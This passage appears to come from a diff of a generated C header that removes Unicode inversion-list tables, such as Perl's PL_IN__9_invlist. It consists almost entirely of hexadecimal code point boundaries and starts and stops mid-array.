0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD01, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD76, - 0xD79, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1D00, - 0x1DF6, - 0x1DFC, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20BF, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x23FB, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD2, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E43, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FD6, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AE, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018D, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x10330, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123E, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11AC0, - 0x11AF9, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x1B000, - 0x1B002, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F19B, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23B, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F57A, - 0x1F57B, - 0x1F5A4, - 0x1F5A5, - 0x1F6D1, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F4, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F910, - 0x1F919, - 0x1F980, - 0x1F985, - 0x1F9C0, - 0x1F9C1, - 0x1FFFE, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2F800, - 0x2FA1E, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_IN__9_invlist[] = { /* for all charsets */ - 1296, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FC, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xAFA, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD01, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1D00, - 0x1DF6, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20BF, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x23FF, - 0x2400, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD2, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E45, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312E, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FD6, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x10330, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 